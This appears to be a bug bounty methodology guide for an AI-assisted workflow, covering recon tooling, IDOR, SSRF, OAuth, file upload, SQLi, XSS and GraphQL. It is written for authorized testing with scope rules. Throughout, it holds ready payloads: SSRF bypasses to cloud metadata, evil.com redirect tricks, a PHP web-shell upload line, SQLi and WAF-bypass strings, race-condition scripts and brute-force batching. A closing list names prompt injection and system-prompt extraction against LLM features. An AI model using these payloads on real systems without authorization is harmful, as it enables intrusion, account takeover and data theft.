Bug Bounty Master Workflow
Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.
THE ONLY QUESTION THAT MATTERS
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO -- STOP. Do not write. Do not explore further. Move on.
Theoretical Bug = Wasted Time. Kill These Immediately:
| Pattern | Kill Reason |
|---|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| Source maps without secrets | No impact |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
CRITICAL RULES
- READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
- NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
- KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
- Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
- One bug class at a time -- go deep, don't spray
- Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
- 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
- IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
- CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
- STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
- BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
- UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
- DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
- HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
- ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
- TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
- T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else
- LEAD BOARD — never lose a lead -- after recon run
python3 tools/lead_board.py ingest <target>+show+next. Route each signal to its skill ("GraphQL → hunt-graphql").touchwhen starting/killing/reporting. Focus on one lead; the board remembers the rest. Surface stale high-priority leads unprompted.
For the full hunting methodology — 5-phase non-linear workflow, developer psychology framework, session discipline, tool routing by phase, and Wide/Deep route selection — see
skills/bb-methodology/SKILL.md.Tool catalogue:
tools/README.md(~50 tools). Orchestrator:python3 tools/hunt.py --target T(auto lead ingest; add--graphql/--cve-huntas needed).
AUTH-AWARE HUNTING (when bugs live behind a login)
Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in. Load auth once at session start and every downstream tool (httpx, katana, ffuf, nuclei, dalfox, the SQLi / SSTI / upload PoC verifiers) sends those headers automatically.
bash# Pick ONE of these and run hunt.py normally: python3 tools/hunt.py --target T --cookie 'session=eyJabc...' python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...' python3 tools/hunt.py --target T --auth-file .private/T.json # Or via env (persists for the shell): export BBHUNT_COOKIE='session=eyJabc...' python3 tools/hunt.py --target T
For IDOR / BOLA hunts, load two sessions and diff behavior:
bashpython3 tools/hunt.py --target T --auth-file .private/T-user-a.json python3 tools/hunt.py --target T --auth-file .private/T-user-b.json # Audit log entries carry different session_id hashes → diff which # endpoints behaved differently per identity.
Safety: cookies/tokens never appear in logs, hunt-memory, or repr().
Only a 12-char session_id hash is recorded. .private/ is gitignored.
MFA-skip and SAML signature-stripping probes deliberately stay anonymous —
that's the attack they're checking for.
Full guide: docs/auth-sessions.md. Template: docs/auth.example.json.
A->B BUG SIGNAL METHOD (Cluster Hunting)
When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.
Known A->B->C Chains
| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|---|---|---|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil -> RCE |
| XSS (stored) | Check if HttpOnly is set on session cookie | Session hijack -> ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft -> ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret -> OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential -> infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |
Cluster Hunt Protocol (6 Steps)
1. CONFIRM A Verify bug A is real with an HTTP request 2. MAP SIBLINGS Find all endpoints in the same controller/module/API group 3. TEST SIBLINGS Apply the same bug pattern to every sibling 4. CHAIN If sibling has different bug class, try combining A + B 5. QUANTIFY "Affects N users" / "exposes $X value" / "N records" 6. REPORT One report per chain (not per bug). Chains pay more.
Real Examples
Coinbase S3->Bundle->Secret->OAuth chain:
A: S3 bucket publicly listable (Low alone) B: JS bundles contain OAuth client credentials C: OAuth flow missing PKCE enforcement Result: Full auth code interception chain
Vienna Chatbot chain:
A: Debug parameter active in production (Info alone) B: Chatbot renders HTML in response (dangerouslySetInnerHTML) C: Stored XSS via bot response visible to other users Result: P2 finding with real impact
TOP 1% HACKER MINDSET
How Elite Hackers Think Differently
Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"
Pre-Hunt Mental Framework
Step 1: Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
- Financial app -> drain funds, transfer to attacker account
- Healthcare -> PII leak, HIPAA violation
- SaaS -> tenant data crossing, admin takeover
- Auth provider -> full SSO chain compromise
Step 2: Developer Empathy
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked -- controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?
Step 3: Trust Boundary Mapping
Client -> CDN -> Load Balancer -> App Server -> Database ^ ^ ^ Where does app STOP trusting input? Where does it ASSUME input is already validated?
Step 4: Feature Interaction Thinking
- Does this new feature reuse old auth, or does it have its own?
- Does the mobile API share auth logic with the web app?
- Was this feature built by the same team or a third-party?
The Top 1% Mental Checklist
- I know the app's core business model
- I've used the app as a real user for 15+ minutes
- I know the tech stack (language, framework, auth system, caching)
- I've read at least 3 disclosed reports for this program
- I have 2 test accounts ready (attacker + victim)
- I've defined my primary target: ONE crown jewel I'm hunting for today
Mindset Rules from Top Hunters
"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.
"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.
"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.
"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.
"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.
"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.
"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.
TOOLS
Go Binaries
| Tool | Use |
|---|---|
| subfinder | Passive subdomain enum |
| httpx | Probe live hosts |
| dnsx | DNS resolution |
| nuclei | Template scanner |
| katana | Crawl |
| waybackurls | Archive URLs |
| gau | Known URLs |
| dalfox | XSS scanner |
| ffuf | Fuzzer |
| anew | Dedup append |
| qsreplace | Replace param values |
| assetfinder | Subdomain enum |
| gf | Grep patterns (xss, sqli, ssrf, redirect) |
| interactsh-client | OOB callbacks |
Tools to Install When Needed
| Tool | Use | Install |
|---|---|---|
| arjun | Hidden parameter discovery | pip3 install arjun |
| paramspider | URL parameter mining | pip3 install paramspider |
| kiterunner | API endpoint brute | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | Cloud asset enumeration | pip3 install cloud_enum |
| trufflehog | Secret scanning | brew install trufflehog |
| gitleaks | Secret scanning | brew install gitleaks |
| XSStrike | Advanced XSS scanner | pip3 install xsstrike |
| SecretFinder | JS secret extraction | pip3 install secretfinder |
| sqlmap | SQL injection | pip3 install sqlmap |
| subzy | Subdomain takeover | go install github.com/LukaSikic/subzy@latest |
Static Analysis (Semgrep Quick Audit)
bash# Install: pip3 install semgrep # Broad security audit semgrep --config=p/security-audit ./ semgrep --config=p/owasp-top-ten ./ # Language-specific rulesets semgrep --config=p/javascript ./src/ semgrep --config=p/python ./ semgrep --config=p/golang ./ semgrep --config=p/php ./ semgrep --config=p/nodejs ./ # Targeted rules semgrep --config=p/sql-injection ./ semgrep --config=p/jwt ./ # Custom pattern (example: find SQL concat in Python) semgrep --pattern 'cursor.execute("..." + $X)' --lang python . # Output to file for analysis semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF Advanced Techniques
bash# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically) ffuf -w wordlist.txt -u https://target.com/FUZZ -ac # Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ) seq 1 10000 | ffuf --request req.txt -w - -ac # Authenticated API endpoint brute ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac # Parameter discovery ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200 # Hidden POST parameters ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac # Subdomain scan ffuf -w subs.txt -u https://FUZZ.target.com -ac # Filter strategies: # -fc 404,403 Filter status codes # -fs 1234 Filter by response size # -fw 50 Filter by word count # -fr "not found" Filter regex in response body # -rate 5 -t 10 Rate limit + fewer threads for stealth # -e .php,.bak,.old Add extensions # -o results.json Save output
AI-Assisted Tools
- strix (usestrix.com) -- open-source AI scanner for automated initial sweep
AI-ASSISTED HUNT LOOP
Use AI as a second analyst, not as the authority.
- Decompose the feature — ask for actors, assets, trust boundaries, hidden state, and sibling endpoints.
- Generate the test matrix — anonymous vs authenticated, user A vs user B, fresh vs stale session, web vs mobile, legacy vs current API.
- Ask for developer shortcuts — where a rushed implementation would likely skip a check, reuse a helper, or trust a client-side value.
- Ask for adjacent bugs — if A is real, what B and C are likely nearby?
- Convert every idea into one request — the output must be a concrete HTTP experiment or it stays speculation.
- Proof first, report later — AI can rank hypotheses, but only live request/response diffs and cross-account deltas can promote a finding.
Good prompt shapes:
- "Given this feature, list the 10 most likely trust-boundary mistakes."
- "What sibling routes, methods, or roles should I test next?"
- "What would a tired developer probably reuse here?"
- "What is the smallest reproducible request that could prove impact?"
- "What evidence would downgrade this to N/A?"
PHASE 1: RECON
Standard Recon Pipeline
bash# Step 1: Subdomains subfinder -d TARGET -silent | anew /tmp/subs.txt assetfinder --subs-only TARGET | anew /tmp/subs.txt # Step 2: Resolve + live hosts cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt # Step 3: URL collection cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt echo TARGET | waybackurls | anew /tmp/urls.txt gau TARGET | anew /tmp/urls.txt # Step 4: Nuclei scan nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt # Step 5: JS secrets cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt # Run SecretFinder on each JS file # Step 6: GitHub dorking (if target has public repos) # GitDorker -org TARGET_ORG -d dorks/alldorksv3
Cloud Asset Enumeration
bash# Manual S3 brute for suffix in dev staging test backup api data assets static cdn; do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/") [ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com" done
API Endpoint Discovery
bash# ffuf API endpoint brute ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne Scope Retrieval
bashcurl -s "https://hackerone.com/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \ | jq '.data.team.policy_scopes.edges[].node'
Quick Wins Checklist
- Subdomain takeover (
subjack,subzy) - Exposed
.git(/.git/config) - Exposed env files (
/.env,/.env.local) - Default credentials on admin panels
- JS secrets (SecretFinder, jsluice)
- Open redirects (
?redirect=,?next=,?url=) - CORS misconfig (test
Origin: https://evil.com+ credentials) - S3/cloud buckets
- GraphQL introspection enabled
- Spring actuators (
/actuator/env,/actuator/heapdump) — for full framework debug surface + triggering techniques → web2-vuln-classes "Error Disclosure / Debug Endpoints" - Firebase open read (
https://TARGET.firebaseio.com/.json)
Technology Fingerprinting
| Signal | Technology |
|---|---|
Cookie: XSRF-TOKEN + *_session | Laravel |
Cookie: PHPSESSID | PHP |
Header: X-Powered-By: Express | Node.js/Express |
Response: wp-json/wp-content | WordPress |
Response: {"errors":[{"message": | GraphQL |
Header: X-Powered-By: Next.js | Next.js |
After any stack is identified: immediately check its debug surface — probe the framework-specific paths from web2-vuln-classes "Error Disclosure / Debug Endpoints", then grep all 4xx/5xx response bodies for the framework regex patterns there before moving to Phase 3.
Framework Quick Wins
Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log
WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1
Node.js: /.env, /graphql (introspection), /_debug
AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins
Source Code Recon
bash# Security surface cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE" git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20 # Dev breadcrumbs grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec" # Dangerous patterns (JS/TS) grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js" grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\." # Dangerous patterns (Solidity) grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
Language-Specific Grep Patterns
bash# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules # ↑ If listeners found, verify origin-check robustness with attacker page — # see web2-vuln-classes section 3 "postMessage Testing" grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules # Python -- pickle, yaml.load, eval, shell injection grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test grep -rn "__import__\|exec(" --include="*.py" # PHP -- type juggling, unserialize, LFI grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php" grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php" grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get" # Go -- template.HTML, race conditions grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go" grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go" # Ruby -- YAML.load, mass assignment grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb" grep -rn "attr_accessible\|permit(" --include="*.rb" # Rust -- panic on network input, unsafe blocks grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize" grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode" grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
PHASE 2: LEARN (Pre-Hunt Intelligence)
Read Disclosed Reports
bash# By program on HackerOne curl -s "https://hackerone.com/graphql" \ -H "Content-Type: application/json" \ -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \ | jq '.data.hacktivity_items.nodes[].report'
"What Changed" Method
- Find disclosed report for similar tech
- Get the fix commit
- Read the diff -- identify the anti-pattern
- Grep your target for that same anti-pattern
Threat Model Template
TARGET: _______________ CROWN JEWELS: 1.___ 2.___ 3.___ ATTACK SURFACE: [ ] Unauthenticated: login, register, password reset, public APIs [ ] Authenticated: all user-facing endpoints, file uploads, API calls [ ] Cross-tenant: org/team/workspace ID parameters [ ] Admin: /admin, /internal, /debug HIGHEST PRIORITY (crown jewel x easiest entry): 1.___ 2.___ 3.___
6 Key Patterns from Top Reports
- Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
- Developer Inconsistency = Strongest Evidence --
timingSafeEqualin one place,===elsewhere - "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
- Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
- Secondary/Legacy Endpoints = No Auth --
/api/v1/guarded but/api/isn't - Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend
PHASE 3: HUNT
Note-Taking System (Never Hunt Without This)
markdown# TARGET: company.com -- SESSION 1 ## Interesting Leads (not confirmed bugs yet) - [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing... > **Before closing any 4xx/5xx:** grep the response body for the 8 framework trace patterns in web2-vuln-classes "Error Disclosure / Debug Endpoints". A 502 body containing a Node.js stack trace is not a dead end — it is a chain entry point. ## Dead Ends (don't revisit) - /admin -> IP restricted, confirmed by trying 15+ bypass headers ## Anomalies - GET /api/export returns 200 even when session cookie is missing - Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't) ## Rabbit Holes (time-boxed, max 15 min each) - [ ] 10 min: JWT kid injection on auth endpoint ## Confirmed Bugs - [15:10] IDOR on /api/invoices/{id} -- read+write
Subdomain Type -> Hunt Strategy
- dev/staging/test: Debug endpoints, disabled auth, verbose errors
- admin/internal: Default creds, IP bypass headers (
X-Forwarded-For: 127.0.0.1) - api/api-v2: Enumerate with kiterunner, check older unprotected versions
- auth/sso: OAuth misconfigs, open redirect in
redirect_uri - upload/cdn: CORS, path traversal, stored XSS
- 403/blocked sensitive paths (
/.env 403,/.git 403,/admin 403): pivot to "Error Disclosure / Debug Endpoints" triggering techniques — malformed input on adjacent API endpoints (/api/user/abc,{"id": null},?page=9999999999) to elicit framework stack traces without needing direct path access.
CVE-Seeded Audit Approach
- Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
- Reproduce old bugs -- verify you can find the pattern in older code
- Pattern-match forward -- search for the same anti-pattern in current code
- Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
Rust/Blockchain Source Code (Hard-Won Lessons)
Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.
Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.
bash# Rust dangerous patterns (network-facing) grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize" grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth" grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
VULNERABILITY HUNTING CHECKLISTS
IDOR -- Insecure Direct Object Reference
#1 most paid web2 class -- 30% of all submissions that get paid.
IDOR Variants (10 Ways to Test)
| Variant | What to Test |
|---|---|
| V1: Direct | Change object ID in URL path /api/users/123 -> /api/users/456 |
| V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk | /api/users?ids=1,2,3,4,5 -- request multiple IDs at once |
| V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path | /files/download?path=../other-user/file.pdf |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |
IDOR Testing Checklist
- Create two accounts (A = attacker, B = victim)
- Log in as A, perform all actions, note all IDs in requests
- Log in as B, replay A's requests with A's IDs using B's auth
- Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
- Check API v1/v2 differences
- Check GraphQL schema for node() queries
- Check WebSocket messages for client-supplied IDs
- Test batch endpoints (can you request multiple IDs?)
- Try adding unexpected params:
?user_id=other_user
IDOR Chains (higher payout)
- IDOR + Read PII = Medium
- IDOR + Write (modify other's data) = High
- IDOR + Admin endpoint = Critical (privilege escalation)
- IDOR + Account takeover path = Critical
- IDOR + Chatbot (LLM reads other user's data) = High
SSRF -- Server-Side Request Forgery
- Try cloud metadata:
http://169.254.169.254/latest/meta-data/ - Try internal services:
http://127.0.0.1:6379/(Redis),:9200(Elasticsearch),:27017(MongoDB) - Test all IP bypass techniques (see table below)
- Test protocol bypass:
file://,dict://,gopher:// - Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
SSRF IP Bypass Table (11 Techniques)
| Bypass | Payload | Notes |
|---|---|---|
| Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal |
| Hex IP | http://0x7f000001/ | Hex representation |
| Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 |
| Short IP | http://127.1/ | Abbreviated notation |
| IPv6 | http://[::1]/ | Loopback in IPv6 |
| IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 |
| Redirect chain | http://attacker.com/302->http://169.254.169.254 | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
| URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion |
| Enclosed alphanumeric | http://①②⑦.⓪.⓪.① | Unicode numerals |
| Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |
SSRF Impact Chain
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (code execution on cloud)
- Docker API accessible = Critical (direct RCE)
OAuth / OIDC
- Missing
stateparameter -> CSRF -
redirect_uriaccepts wildcards -> ATO - Missing PKCE -> code theft
- Implicit flow -> token leakage in referrer
- Open redirect in post-auth redirect -> OAuth token theft chain
Open Redirect Bypass Table (11 Techniques)
Use these when chaining open redirect into OAuth code theft:
| Bypass | Payload | Notes |
|---|---|---|
| Double URL encoding | %252F%252F | Decodes to // after double decode |
| Backslash | https://target.com\@evil.com | Some parsers normalize \ to / |
| Missing protocol | //evil.com | Protocol-relative |
| @-trick | https://target.com@evil.com | target.com becomes username |
| Protocol-relative | ///evil.com | Triple slash |
| Tab/newline injection | //evil%09.com | Whitespace in hostname |
| Fragment trick | https://evil.com#target.com | Fragment misleads validation |
| Null byte | https://evil.com%00target.com | Some parsers truncate at null |
| Parameter pollution | ?next=target.com&next=evil.com | Last value wins |
| Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect |
| Unicode normalization | https://evil.com/target.com | Visual confusion |
File Upload
File Upload Bypass Table
| Bypass | Technique |
|---|---|
| Double extension | file.php.jpg, file.php%00.jpg |
| Case variation | file.pHp, file.PHP5 |
| Alternative extensions | .phtml, .phar, .shtml, .inc |
| Content-Type spoof | image/jpeg header with PHP content |
| Magic bytes | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | ../../etc/cron.d/shell in filename inside archive |
Magic Bytes Reference
| Type | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
Race Conditions
- Coupon codes / promo codes
- Gift card redemption
- Fund transfer / withdrawal
- Voting / rating limits
- OTP verification brute via race
bashseq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \ -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' & wait
Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
pythondef queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=1, pipeline=False, engine=Engine.BURP2) for i in range(20): engine.queue(target.req, gate='race1') engine.openGate('race1') # all 20 fire in a single TCP packet def handleResponse(req, interesting): table.add(req)
Business Logic
- Negative quantities in cart
- Price parameter tampering
- Workflow skip (e.g., pay without checkout)
- Role escalation via registration fields
- Privilege persistence after downgrade
XSS -- Cross-Site Scripting
XSS Sinks (grep for these)
javascript// HIGH RISK innerHTML = userInput outerHTML = userInput document.write(userInput) eval(userInput) setTimeout(userInput, ...) // string form setInterval(userInput, ...) new Function(userInput) // MEDIUM RISK (context-dependent) element.src = userInput // JavaScript URI possible element.href = userInput location.href = userInput
XSS Chains (escalate from Medium to High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass -> Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain
SQL Injection
Detection
bash# Single quote test ' OR '1'='1 ' OR 1=1-- ' UNION SELECT NULL-- # Error-based detection '; SELECT 1/0-- # divide by zero error reveals SQLi
Modern SQLi WAF Bypass
sql-- Comment variation /*!50000 SELECT*/ * FROM users SE/**/LECT * FROM users -- Case variation SeLeCt * FrOm uSeRs -- URL encoding %27 OR %271%27=%271 -- Unicode apostrophe ' OR '1'='1
Stack → DBMS fingerprint (pick the right payload or you MISS blind/error injections)
| Tech signal | Likely DBMS | Blind probe |
|---|---|---|
.asp/.aspx, IIS, ASP.NET error pages | MSSQL | WAITFOR DELAY '0:0:5'-- |
.php, Apache/nginx LAMP | MySQL/MariaDB | SLEEP(5)-- |
Java/Spring, .jsp | PostgreSQL / MSSQL / Oracle | pg_sleep(5) / WAITFOR / dbms_pipe.receive_message('a',5) |
| Python (Django/Flask), Rails | PostgreSQL / MySQL | pg_sleep(5) / SLEEP(5) |
Fingerprint early: @@version (MSSQL/MySQL), version() (PG), SELECT banner FROM v$version (Oracle). A wrong-DBMS payload silently fails — that's a missed bug, not a clean target.
Where SQLi hides (test every sink, not just the search box)
- Every param from recon /
param-discover— incl. JSON keys,ORDER BY/sort=columns (can't be parameterized → high-yield),LIMIT/offset - Headers & cookies looked up in a query (
X-Forwarded-For,User-Agent, session/auth tokens) - Second-order: value stored on one request (profile field, filename), fires in a later query — plant
'/sleep, then watch a different page render - REST/GraphQL filters, export & report generators, autocomplete/"search" endpoints
Confirm + prove impact (read-only — kills N/A, catches blind)
sql-- 1. confirm it's REAL (don't stop at one error) ' AND 1=1-- vs ' AND 1=2-- → responses differ = boolean oracle = real -- 2. column count, then a displayable column ' ORDER BY 1-- ↑ N until error → N-1 cols 0' UNION SELECT NULL,'MARKER',NULL-- → find where MARKER renders -- 3. prove readable data (ONE value is enough for a valid report) 0' UNION SELECT NULL,@@version,NULL-- -- MSSQL/MySQL 0' UNION SELECT NULL,version(),NULL-- -- PostgreSQL -- one-request dump when proving a sensitive table: -- MySQL GROUP_CONCAT() · MSSQL/PG STRING_AGG() · Oracle LISTAGG()
SQLi that reads a sensitive row (e.g. a config/credentials table) is already a valid, high-severity finding — submit on the readable data, not a lone 500. You do not need RCE.
Escalation (conditional — most SQLi stops at data read). Only if the DB account is
sysadmin/superuser and host exploitation is in program scope does SQLi → OS RCE apply (MSSQLxp_cmdshell, PGCOPY…FROM PROGRAM, MySQLINTO OUTFILE). In BBP this is usually out of scope — prove the data read, note escalation potential in Impact, and don't run it.
GraphQL
Introspection (alone = Informational, but reveals attack surface)
graphql{ __schema { types { name fields { name type { name } } } } }
Missing Field-Level Auth
graphql# User query returns only own data { user(id: 1) { name email } } # But node() bypasses per-object auth: { node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
Batching Attack (Rate Limit Bypass)
json[ {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"}, {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"}, "...100 more..." ]
LLM / AI Features
- Prompt injection via user input passed to LLM
- Indirect injection via document/URL the AI processes
- IDOR in chat history (enumerate conversation IDs)
- System prompt extraction via roleplay/encoding
- RCE via code execution tool abuse
- ASCII smuggling (invisible unicode in LLM output)
